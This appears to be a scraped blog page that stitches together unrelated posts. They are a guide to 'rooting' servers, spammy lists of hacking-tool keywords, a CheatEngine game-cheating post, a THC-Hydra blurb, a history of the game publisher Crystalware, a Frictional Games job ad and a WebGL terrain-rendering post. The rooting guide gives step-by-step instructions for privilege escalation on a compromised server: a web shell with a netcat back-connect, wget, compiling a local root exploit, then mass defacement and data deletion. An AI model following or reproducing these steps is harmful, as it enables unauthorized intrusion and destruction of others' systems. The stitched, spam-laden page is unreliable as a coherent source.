ဧည္႔စရင္း


hit counter

Monday, April 13, 2020

HOW TO ROOT A SERVER? – SERVER ROOTING

Servers serve the requests made by the users to the web pages, it acts as a helping hand who serves the requested meal for you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with a server like delete and copy anything on the server, can deface all the websites (massive deface ).
We can't talk about root on windows. That enough for a beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to get root.

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).
In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.
After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to
find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.
You can know that from your shell, for example, this version is 2.6.18 – 2012
Go to EXECUTE on your shell and write  "uname -a". You will get the same result, by the way.
Now how to find the local root.
You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :
Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.
So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD  if you are under Windows. I will explain only Linux, and for Windows, its all the same.
After that Follow the steps :
1- Press nc -vlp 433
2- Wget [the link of the local-Root.zip]
3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local
gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)


Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.
AFTER THE ROOT 
As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.
Continue reading

  1. Github Hacking Tools
  2. Install Pentest Tools Ubuntu
  3. Pentest Tools Open Source
  4. Pentest Tools Free
  5. Pentest Tools Kali Linux
  6. Hacker Techniques Tools And Incident Handling
  7. Hacker Tools List
  8. Pentest Tools For Windows
  9. Hacking Tools Mac
  10. Physical Pentest Tools
  11. Best Hacking Tools 2019
  12. Hack Tool Apk No Root
  13. How To Make Hacking Tools
  14. Pentest Tools Tcp Port Scanner
  15. Hacking Tools Windows 10
  16. Hacking Tools For Kali Linux
  17. Hacker Tools Apk
  18. Hack Tools Github
  19. Hacks And Tools
  20. Pentest Tools For Android
  21. Hack Tools For Windows
  22. Pentest Tools Kali Linux
  23. Hacker Tools List

DeepEnd Research: Analysis Of Trump's Secret Server Story


 We posted our take on the Trump's server story. If you have any feedback or corrections, send me an email (see my blog profile on Contagio or DeepEnd Research)

Analysis of Trump's secret server story...



Related news


Hacking Freemium Games - The Evolution Of PC Game Cheating

This post is going to be a rather strange post compared to previous ones. But bear with me, in the middle of the post you will see why this post fits the IT security topic.

I'm also terribly sorry for not posting recently, but I was busy with my SPSE and SLAE certification. Both are recommended for Python and Assembly noobs like me. But back to this post.

A little bit of history

Cheating in games started as help for game testers. By using invincibility or infinite ammo testers were able to test the game quicker, which meant less money spent on testing. I personally use cheat codes in games, depending on my mood. Sometimes it feels good to slash all the opponents while I'm invincible, sometimes it is more fun to play the game without cheats. One can argue whether cheating in games is OK or not, but I believe it depends, there is no black or white. But one thing is for sure, it is part of the gaming industry. There is huge demand for cheats. There were even cheat books printed on paper...


The different types of cheats (on PC)

There are different types of cheats in PC gaming. Following is a noncomplete list of these cheats:

Cheat codes

The good old IDDQD type of cheats. These are left in the game by the developers intentionally. Nothing interesting here.

Edit memory

This is my favorite. I will talk about this at the end of the post. Whenever a user launches a new program, the program's whole memory is accessible (read/write) to every other program launched by the user. And since the memory stores the current game state (health, ammo, armor, etc.), these values can be changed easily. In the good old times, there were POKE commands to do this cheats, and the memory address to write into was published by people who found where the game stores the most critical states about the game.

Code injection

This is like patching the game code. For example, one can change the "DEC (pointer to your current health)" instruction with NOP (do nothing), thus becoming invincible. In multi-player cheats, there is the aimbot to help you aim at enemies, wallhack to see through the wall, increase hitbox of the enemy for smoother hit, or in MMORPGs, one can write macros to collect items while the player is not online. I would say the so-called "trainers" more or less fit into this category and the previous one.

Saved game editor

The first time a kid meets a hex-editor (just like the co-author of this blog did with SIM City when he was 10 years old - David). It can teach a lot about file structures, the hexadecimal numeral system, etc. Fun times. 

Hacking game server

Not very common, but even more fun. Warning: endless trolling possibilities in multi-player games ahead :) How to hack a game server? Well, I think this might deserve another full blog post ...

Network traffic hacking

One last necessary type of cheating is to modify network traffic between the client and the game server. AFAIK SSL is not universal in gaming, so stunnel is not needed for this hack, but ettercap can help in changing the communication.

Why cheating becomes more critical (and challenging)?

Now in the age of in-app-payments, the game creators are no longer thinking about cheats as funny things but something to be destroyed to the ground. Because cheating decreases its revenue. Or not. At least they think it does. To quote Wikipedia here, "cheating in such games is nonetheless a legal grey area because there are no laws against modifying software which is already owned, as detailed in the Digital Millennium Copyright Act." 

A lot of online games include anti-cheating components like PunkBuster, nProtect GameGuard, or Valve Anti-Cheat. This whole cheating/anti-cheating industry is the same as the virus/anti-virus industry. A cat and mouse game.

Freemium games

If you have not played with "freemium" games, you should watch South Park season 18, episode 6. - "Freemium Isn't Free." If you did play with freemium games, you definitely have to watch it :) There are many problems with freemium games. It is free to install, free to play. The first 3-4 hours might be fun to play. But after that, it turns out it is impossible to advance in the game without paying money for it. And by spending cash, I mean spending a LOT! Let's have a look at today's example, an arcade racing video game.


For 99.99 USD, you can get 3 000 000 credit. For almost double the price of a new PC game, you can get these credits. In this particular game, I estimate one have to play ~6-24 hours constantly to get this amount of credit. But by playing ~6 hours, I mean 6 hours without progress in the game! Kind of boring. And what do you get from 3 000 000 credit? You can buy one of the most expensive cars, but can't tune them fully. You have to play more (without progress) or buy more. But guess what, there are more cars you can't buy by only playing the game. Those are only available via in-app-purchase.


Even though the player has 58 765 533 credits, it is not possible to buy this car. Only available through real money.


So, what are your possibilities? You are either Richie Rich, and can afford the money to buy these. Or you can be insane, and try to play the game without in-app-purchase. Or give up the game and try another freemium ... Or, you can try to hack the game!

Hack all the freemium games!

Although I was not playing this racing game from day one, I was able to witness the evolution of the cheats against this game. The cheats which worked in one day was not working one month later. The game is continuously updated to defeat the newly published cheats.

Noob start

So, I want to hack this game, what is the first thing a noob like me does? Bing it! Google it! 
From the first page result, let's check this tool:


While trying to download that, I just have to give my email address to spammers, or my mobile number will be subscribed to premium rate text messages. What fun.


Another "cheat" program will install malware/adware on your computer. Never ever try these programs. They are fake 99% of the time and after installing those you will have another problem, not just how to hack freemium games.

Beginners start - Cheat engine

When I first heard about hacking games in memory, I visualized hours of OllyDBG/ImmunityDBG/(insert your favorite Windows debugger here). It turned out, there are some specialized tools to help you with cheating the game. No assembly knowledge required. My favourite tool is CheatEngine. I highly recommend to download it and spend 10 minutes to get past the built-in tutorial levels to get a feeling about this tool. It's super duper awesome.



When I first tried to hack this game myself, I scanned the memory for my actual credit and tried to change that, no luck. Keep reading, you will see what happened.

The second cheat I tried with cheat engine was something like this: 
  1. Start the game, play the first level, and check how many credits is paid for winning the race. Pro tip: use dual display for full-screen game cheating.
  2. Restart the same level, attach Cheat Engine to the game's process
  3. Scan the memory for the same value at the beginning of the race
  4. Scan the memory for the same value at the end of the game. The intersect of the first and second scan includes the real value where the credit is stored for winning the race.
  5. Change the values (both the real one and some false positives) to something big
  6. Watch the game to crash
  7. Be amazed at the money you received
Nowadays, most of the cheats on YouTube does not work. Except for these kind of cheats. I don't want to recreate that tutorial, so you should watch it first then come back.



Are you back? Great. Do you have any idea what have you just seen? No? Well, in this case, don't try this at home. Copy-pasting assembly code from random internet posts and running on your computer is always a bad idea. It is precisely as risky as downloading free programs from random internet sites.

Although I have not seen people trolling others with this cheat engine type of shellcode, I think the time will come when these will be turned into something terrible. These shellcodes might work, or might harm your computer. The good news is, we can have a look at the code and analyze it. 

When you open CheatEngine and try to define a new custom type, you are greeted with a skeleton assembly code. I don't want to detail what all the skeleton code does, let's just focus on the difference between the skeleton code and the code used in the video. This is the "decrypt function":

xor eax, 0baadf00d
rol eax, 0e

What does it mean? The actual credit is encrypted in memory. If you want to scan it in memory, you won't be able to find it. But! The encryption is rotating the value to the right (ROR) with 0xE (14 in decimal), and after that, it is XOR-ed with 0xbaadf00d. Decrypting it is the inverse of the functions in reverse order (in this particular case, the order does not matter, but that's not the point). The inverse function of XOR is XOR, and the inverse function of ROR (rotate right) is ROL (rotate left). Now that we analyzed the assembly code, we can be sure that it is safe to execute. Just follow the video and see your coins falling from the sky. For free. In a freemium game. Have fun!

Encrypt memory - applications at financial institutions

Another exciting thing is that I don't recall any thick client applications in the financial industry encrypting the values in memory. And I agree, there are more significant problems with thick client applications than not encrypting the essential values in memory. But still, some thick client applications are regularly updated, maintained. Maybe it is a good idea to encrypt the values in memory. It will make attackers' life harder. Not impossible, but harder. Perhaps the developers of these applications should learn from the gaming industry (or from malware developers for that matter) because it is a shame that an arcade racing game or an FPS is protected better than an application responsible for transacting millions of dollars. Just think about the RAM scraping malware stealing millions of credit card data ...

Moral of the story

Cheating is part of the gaming history, and the freemium games are trying to take away the cheats from the gamers because they want money. Thanks to CheatEngine and some clever hacks, these programs can be still beaten. And guess what, there is CheatEngine for Android - although it did not work for me on the latest Android. And sometimes, hacking all kinds of applications can be more comfortable with CheatEngine, compared to traditional debuggers.

Also, always check the code before executing it! And when you find something cool, publish it, so everyone could enjoy the games!


Read more


THC-Hydra


"A very fast network logon cracker which support many different services. Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. This tool is a proof of concept code, to give researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system." read more...

More information


  1. Hacker Tools For Windows
  2. Computer Hacker
  3. Pentest Tools Find Subdomains
  4. Pentest Tools Android
  5. Hack Website Online Tool
  6. Hacking Tools Name
  7. Nsa Hack Tools
  8. Hacker Tools
  9. Hack Tools For Ubuntu
  10. Hacking Tools For Windows Free Download
  11. Hacking Tools Free Download
  12. Hacking Tools Mac
  13. Wifi Hacker Tools For Windows
  14. Pentest Tools Windows
  15. Hack Tools For Ubuntu
  16. Hack Tools Github
  17. Hacking Tools And Software
  18. Pentest Tools Website
  19. Underground Hacker Sites

Saturday, April 11, 2020

Closing The Books On Crystalware

Crystalware was not the sort of company to let trademarks deter them, whether incorporating the Enterprise in their logo or marketing an unlicensed game called Imperial Walker.
           
A year ago, I'd never heard of Crystalware. Then, someone rediscovered their catalogue and uploaded all of its games to MobyGames and my year became in large part about the company. But let's face it: none of its games are really RPGs. They have some RPG "elements" in some of the inventory selections and random approach to combat, but there isn't a single one in which the character grows intrinsically from his experiences except for The Forgotten Island (1981), and that was a basic "power" statistic whose rapid growth made the game fundamentally too easy.
       
Most of Crystalware's games instead occupy a strange subgenre that we might call "iconographic adventure." Most adventure games are either all-text (Zork) or made up of graphically-composed scenes. Sometimes, the scenes offer a kind-of first-person perspective (Countdown, Timequest), and other times they feature the character in a kind of side-view perspective that I've taken to calling "studio view" (King's Quest, Leisure Suit Larry). I'm sure there are adventure games with axonometric perspectives, although none come to mind. But something about a top-down iconographic interface screens "RPG!" even though there's no reason adventure games couldn't feature the same perspective. That's really what Crystalware games are. They involve finding inventory items to solve puzzles and often escape a situation. Only a couple offer character attributes and none offer character development.
      
I've been gamely trying them anyway, but the last few have been giving me trouble, and I'm not going to continue wasting a bunch of effort for titles that aren't RPGs in the first place. I'm going to reject or "NP" the rest and suggest that MobyGames, which also cites character development as the primary mechanism for RPGs, remove the RPG designation although keep "RPG elements" under its gameplay elements.
          
Crystalware's catalog in late 1981.
         
As we've seen, Crystalware was a remarkably high-quantity (if not high-quality) company for its brief 1980-1982 existence. Within those three years, they developed and published the following titles, not all of which are even on MobyGames:
           
  • The House of Usher (1980)--also the name of the pop artist's inevitable reality show--is a Gothic adventure based on the Poe story of the same name. I reviewed it in June 2019.
  • Labyrinth of the Minotaur (1980): Set on Crete. I haven't been able to find much about the game, but it's attested in their 1982 catalogue.
  • Sumer 4000 BC (1980): A text simulator in which you're the King of Sumeria, trying to manage resources and make your empire survive another year.
  • Galactic Quest (1980): A space combat and trading simulator.
  • World War III (1980): A strategic wargame for two players, one fighting for Iran, the other Iraq.
  • Beneath the Pyramids (1980): An adventure game in which you explore some weird combination of the Sphinx and the Great Pyramid at Giza for an artifact. I reviewed it in June 2019.
  • Waterloo II (1981): A two-player wargame in the Napoleonic Era.
  • CompuGolf (1981): A golf simulation.
  • Imperial Walker (1981): An unlicensed action game in which an imperial walker commander tries to shoot down rebel craft. (I think it really says something about the company that they conceived of such a game and made the imperial the protagonist.)
  • Laser Wars (1981): An action game in which you defend a city from alien attackers.
  • The Sands of Mars (1981): An adventure game in the style of Oregon Trail, in which you assemble a crew, purchase supplies, and try to make it to Mars and back. This one was categorized as an RPG. I tried to play it but couldn't get past a takeoff procedure that required the Apple II paddles. (Multiple sites say that AppleWin emulates paddles, but I'll be damned if I can figure out how.) The manual doesn't make it sound like it has RPG elements. It suggests that there are multiple phases of the game, each involving a different interface and style of gameplay.
                
As far as I can get in The Sands of Mars.
           
  • Forgotten Island (1981): An adventure game where you escape an island. It was renamed Escape from Vulcan's Island when re-issued by Epyx. I reviewed it in October 2019.
  • Oregon Trail (1981): Some version of the classic.
  • Quest for Power (1981): An adventure game in which you try to prove your right to inherit Camelot from King Arthur. It was re-issued by Epyx as King Arthur's Heir. I reviewed it in March 2020.
  • Protector (1981): An arcade game in which you fly a ship through caverns.
  • Fantasyland 2041 (1981): An epic multi-disk adventure game based on Fantasy Island. I reviewed it in October 2019.
  • The Bermuda Experience (1982): An adventure game in which you have to navigate a ship around the Atlantic Ocean in several time periods. It is also known as Bermuda Triangle.
  • Treasure Island (1982): An adventure game in which you explore the Caribbean for map pieces.
  • The Crypt (1982): An adventure in which you must survive the night in a cemetery. This was also designated an RPG by MobyGames, and I tried to play it but ran into a bug where neither you nor an enemy ever dies in combat. Instead, the game happily takes you into the negative hit points as you pound away at each other round after round. Thus, the first combat you get stuck in ends the game. It otherwise had the same characteristics as other titles that I reviewed that weren't really RPGs. It was re-released by Epyx as Crypt of the Undead.
            
Combat among crypts in The Crypt (1982).
       
  • Zardon (1982): An action game where you fly a ship, blow up enemy ships. This one was re-released by Avalon Hill after Crystalware folded.
  • The Haunted Palace (1982): An adventure game with RPG elements in which you try to solve a mystery. You can choose among characters who have RPG-like attributes but they never grow. It was re-released as The Nightmare by Epyx.
  • Clonus (1982): An adventure game in which you navigate the future as a clone with cyborg parts. A near-immediate Clonus II seems to be a re-release of the original rather than a true sequel.
           
They also released two compilations of simple games like Hangman and Tic-Tac-Toe for kids, a diet planner, a yoga instruction program, a garden simulator, and a program to help cat owners diagnose illnesses in their pets.

Almost all of the company's games were written for the Apple II, Atari 8-bit, and TRS-80. The company principals, John and Patty Bell, contracted a team of programmers who sometimes wrote original games, sometimes spent their time porting games created by others. About half of them were created by the Bells themselves. Almost all the adventure games hinted at a deeper mystery beneath the surface of the game and offered a cash prize to whoever was the first to solve it.
           
By 1981, the company was putting out a quarterly newsletter.
          
With each game costing $39.95 and up, Crystalware must have been doing well even if they only sold modest amounts. But that's nothing compared to the company's plans. A company newsletter from late 1981 [helpfully scanned and provided to me by commenter Dungy] shows that future offerings would include Glamis Castle, a three-dimensional adventure game in which you could explore the famous Scottish landmark, an RPG based on Lord of the Rings called Wizard and Orcs, and an epic hub-and-module adventure called Galactic Expedition. Each module would sell for $29.95 and contain the ability to explore a different planet or moon.
    
Oh, but that isn't nearly all. The company was planning to release a series of home-schooling programs based on the "Crystal Theory of Alternative Education" (CTAE). They were working with Universal Pictures to provide realistic computer program "props" for an upcoming film called The Genius (it seems to have never been filmed, although the associated producer, David Sosna, is a real person). They were working on the first "videodisk fantasy" for the PR-7820-2 Videodisc Player from Discovision. They were starting a "lonely hearts club."
     
Best of all, Crystal Films was being born! They had a named producer, script supervisor, costume designer, and key grip on their masthead. They had three productions in the works: Haunted (a horror film), Fantasyland (based on the game), and Sarah, about the life of the eccentric Sarah Winchester, who built that sprawling monstrosity of a house in San Jose.
           
Apparently, Haunted was to be filmed in an actual haunted house, not just a set that they made appear haunted. I guess that's one way to save on special effects.
                     
The newsletter, in short, feels like it was dictated by someone in the middle of a manic episode, and what happened to Crystalware next suggests that it all came crashing back to Earth. I haven't been able to find an official, comprehensive account of the company's last days, but we can piece it together from evidence. First, I have an anecdotal report from a reader who owned a computer store in the area at the time, saying that Crystalware's finances were essentially a giant house of cards and someone was destined to lose. To clarify, I don't think the Bells were deliberately scamming anyone. One programmer I spoke to, Henry Ruddle, said that the company always paid him well and on time. Another, Mike Potter, has posted online that Bell fired him when he questioned his royalties, but did pay him and also gave him back the rights to one of the games he'd developed. The issue is more that they seem to have been leveraged beyond a sustainable debt. 
          
We know that in 1982, Bell sold the rights to his games to Epyx, which re-published them, often under different names, with absurdly elaborate manuals. We see the company changing addresses several times in 1982 and finally abandoning "Crystalware" altogether and publishing the last few games under the name "U.F.O. Software." As we'll soon see, John Bell also seems to have (at least for a time) changed his own name.
         
Towards the end of its life, Crystalware briefly became U.F.O. Software.
            
John Bell is an enigmatic figure (although not as enigmatic as Patty, about whom I've been able to find nothing). He claims to have worked for Lockheed in 1966, which is hard to reconcile with the best candidate I can find, who was born in 1948. Even that candidate has used both "A" and "F" as his middle initial. Crystalware used several addresses in Morgan Hill and San Martin (both south along the 101 from San Jose) during its existence. I think the Bells first owned a computer store, Crystal Computers, in Sunnyvale or Gilroy, before they decided to get into software development and publishing. 
       
I corresponded earlier this month with Henry Ruddle, a programmer who did most of the TRS-80 adaptations of the game. I had hoped he would confirm my suspicions that Bell was something of a lunatic, but the best he would offer is that he was "charismatic, loud, and very eccentric." 
          
John was very creative and could not stop thinking . . . or talking. [He] would tell wild stories about getting high on amphetamines or cocaine and staying up for three days cleaning his bathroom with a toothbrush . . . He often talked about his wild ambitions [like] a plan to create a virtual reality booth with 360 degree views projected on the walls using "laser cameras."
     
Of Patty, Ruddle remembers that she was polite and very quiet, heavily into New Age philosophy and astrology.
          
There's a long period of silence after the collapse of the company, but in the late 1990s, Bell, now using the name "J. B. Michaels," started promising an upcoming game called Clonus 2049 A.D. It never materialized, but you can read about it--sort-of--on the Crystalware Defense and Nanotechnology Facebook page, where an "actress from Hollywood" has recorded the incomprehensible opening text. Yes, John Bell is still using the Crystalware name. His various LinkedIn profiles give him as the CEO of Crystalware, CrystalwareVR, Crystalware Defense and Nanotechnology, or just "CDN." The address is listed in Charleston, West Virginia. On the various pages associated with Bell and these companies, we learn that James Cameron's The Terminator was plagiarized from the original Clonus, that Bell had a heart attack in 2018, and that he's working on a virtual reality game called World of Twine.
      
I haven't rated any of Crystalware's games very high, and I was actively angry by the time I got to Quest for Power, but in retrospect I have to give the company credit for originality and a certain amount of sincerity. Most of Crystalware's titles show no dependence on any previous game or series. Instead of generic high-fantasy settings, they went with unique, specific settings based on history or literature. Adding a "mystery" and cash prize to each title (even if I never really understood what they were going for) was an interesting touch, and letters to their newsletter (if authentic) suggest that they did pay. The thorough documentation that each game received, the manuals full of backstories and lore and quotes, the newsletter with so many promises, all suggest that the company was mostly unaware that it was a sausage factory. This was in the "dark age," after all. Wizardry and Ultima were released in 1981 but hadn't really made an impact yet. From the testimonies above, it's easy to see John Bell as an Ed Woodish character, willing to wrap and print anything, in love with the process of creation that eclipsed his own abilities as a creator. But I suppose there are days when I'll take that over auteurs so obsessed with quality that you end up waiting a decade between titles. Every genre needs its pulp.

Wednesday, April 8, 2020

Hiring: Project-based Programmer



Title: Gameplay Programmer
Type: Full-time, project-based (1 year)
Last day to apply: 8th of July 2018


Frictional Games is famous for its immersive, atmospheric first-person games; games created by a small team working closely together. For our next game, we need to expand that team! We need a gameplay coder who can support the rest of us, taking on responsibility for game-wide systems such as inventory, AI, first-person body, and other features that the player's experience will depend on. Join us, and help us transport our players to strange and terrifying new realms.

The position is full-time, and project-based for the period of 1 year. After that period there may be a possibility for the position to become permanent.

What will you work on?
Here are some of the specific gameplay systems you will find yourself working on:
  • Inventory management
  • AI behavior
  • Physics interactions
  • User interface
  • Game-specific systems (think Sanity system in Amnesia: The Dark Descent)
  • Inverse kinematics
It is a big plus if you have already worked on most of these before. While we value experience, it is more important that you are willing and able to dig into challenges and learn new things. We are interested in playing to your strengths, so the things listed will not be the only ones you will be working on.

What are we looking for?
The person we're looking for should have a solid understanding of different gameplay systems. You need to be able to see the big picture and have a firm grasp on how information flows between modules, and how complex behaviour can be reduced into simple rule sets.

We use our own engines, so you need to be able to adapt to the existing system and code base. We also value the end user experience, so we hope you can step into the players' shoes instead of only focusing on the nitty gritty technical stuff.

You have to be a European resident to apply!

Here are our other essential requirements:
  • You have worked on a game that uses 3D environments.
  • Well-versed in C++, C#, Java or similar.
  • Strong linear algebra skills.
  • Major role in completing at least one game.
  • Strong self-drive and ability to organise your own work.
  • A critical approach to your work, ability to reflect.
  • Confidence in implementing your own designs.
  • Fluency in English.
  • Team communication skills.
  • Knowledge of game design.
  • A Windows PC that runs recent games (such as SOMA) that you can use for work (unless you live in Malmö and will work from the office).
  • A fast and stable internet connection.
For this position you can work from home. We have a central hub in Malmö, Sweden, which you can use if you wish.

What we offer:
  • Flexible working hours, a no-crunch approach.
  • Opportunities to influence your work flow.
  • Variety in your work tasks, and ability to influence your work load.
  • Participation in Show & Tell of games, having a say in all aspects of the game making.
  • An office in central Malmö you can use.
  • An inclusive work environment.
  • A possibility to become a permanent employee.

Apply? Yes!
Did the tasks above sound like your cup of tea (or other beverage)? Are you the person we're looking for? Then we would love you hear from you! The last day to send the application is 8th of July 2018 - but the sooner the better.

Please send us your:
  • Cover letter
    • Tell us why we should hire YOU!
  • CV
  • Portfolio
    • PDF or links to your works
Please note that we require all the attachments to consider you.

Send your application to apply@frictionalgames.com!

Privacy Policy
By sending us your application, you give us permission to store your personal information and attachments.

We store all applications in a secure system. The applications are stored for two years, after which they are deleted. If you want your your information removed earlier, please contact us through our Contact form. Read more in our Privacy Policy.

Saturday, March 28, 2020

Improving The 2D Noise Page

One of my goals for 2019 is to improve my existing pages. Yesterday I decided to work on my old 2D noise page. We normally use Perlin/Simplex noise to make terrain heightmaps, but on that page I used Fourier transforms instead. Perlin/Simplex noise are a fast approximation of the things you can get from Fourier transforms.

The 3D renderer on that page always bothered me. It was one of my early experiments with WebGL. I had never been able to figure out exactly what I didn't like or how to fix it.

I decided to improve the renderer.

I read through the code to and realized it was written so long ago that let and const weren't even widely available! I started by updating the code style to match the code I write today. I read through the rendering code and decided to switch from raw WebGL to regl.js, which lets me experiment and iterate much more quickly.

I wanted to compare the old and new output easily, so I put them side by side on the page. I wanted to try two techniques with the new renderer:

  1. Instead of building a new 3D quad mesh on the CPU every time the data changed, I built a single 2D triangle mesh with x,y, and then read the heightmap data from a texture on the GPU. Reading textures from vertex shaders is widely supported now. This way, I only have to update the texture on each render instead of rebuilding the mesh. Unfortunately I couldn't figure out why it wasn't interpolating pixels values; I had to put in my own interpolation.
  2. Instead of calculating normals and lighting on the CPU every frame, I calculated them in the fragment shader on the GPU. But I didn't want to use a standard lighting system; I wanted to apply outlines instead. I had learned how to do this in mapgen4 and wanted to try an even simpler approach here. This worked out really well.

In this comparison you can see how the dark/light spots in the noise are renderered in the two renderers. With the old renderer (green) the color changes but the shapes are all mushy. With the new renderer (gray) the dark/light matches the noise, and the mountain peaks are easier to see.

2D noise values Old renderer New renderer
Landscape: old (green) and new (gray) renderer

In smooth areas you can see how the outlines help show the shapes. You can also see that the old renderer flipped the elevation upside down (oops!).

2D noise values Old renderer New renderer
Smooth area: old (green) and new (gray) renderer

With blue noise (positive exponents) the new renderer looks much better:

2D noise values Old renderer New renderer
Blue noise: old (green) and new (gray) renderer

I'm really really happy with outlines! Compare:

No outlines Light outlines Medium outlines
Without and with outlines

The outlines are one line of code:

void main() {   float light = 0.1 + z - fwidth(z) * u_outline;   gl_FragColor = vec4(light, light, light, 1); } 

I darken the color based on fwidth(z). The GL extension OES_standard_derivatives calculates how much an expression changes from the current pixel(fragment) to adjacent pixels. When z changes a lot, that usually means it's changing from one mountain peak to another, so I darken the output color.

There are still more things I'd like to improve on this page, but the renderer was the thing that bothered me the most, and I'm now happy with it. The other changes will wait until another day.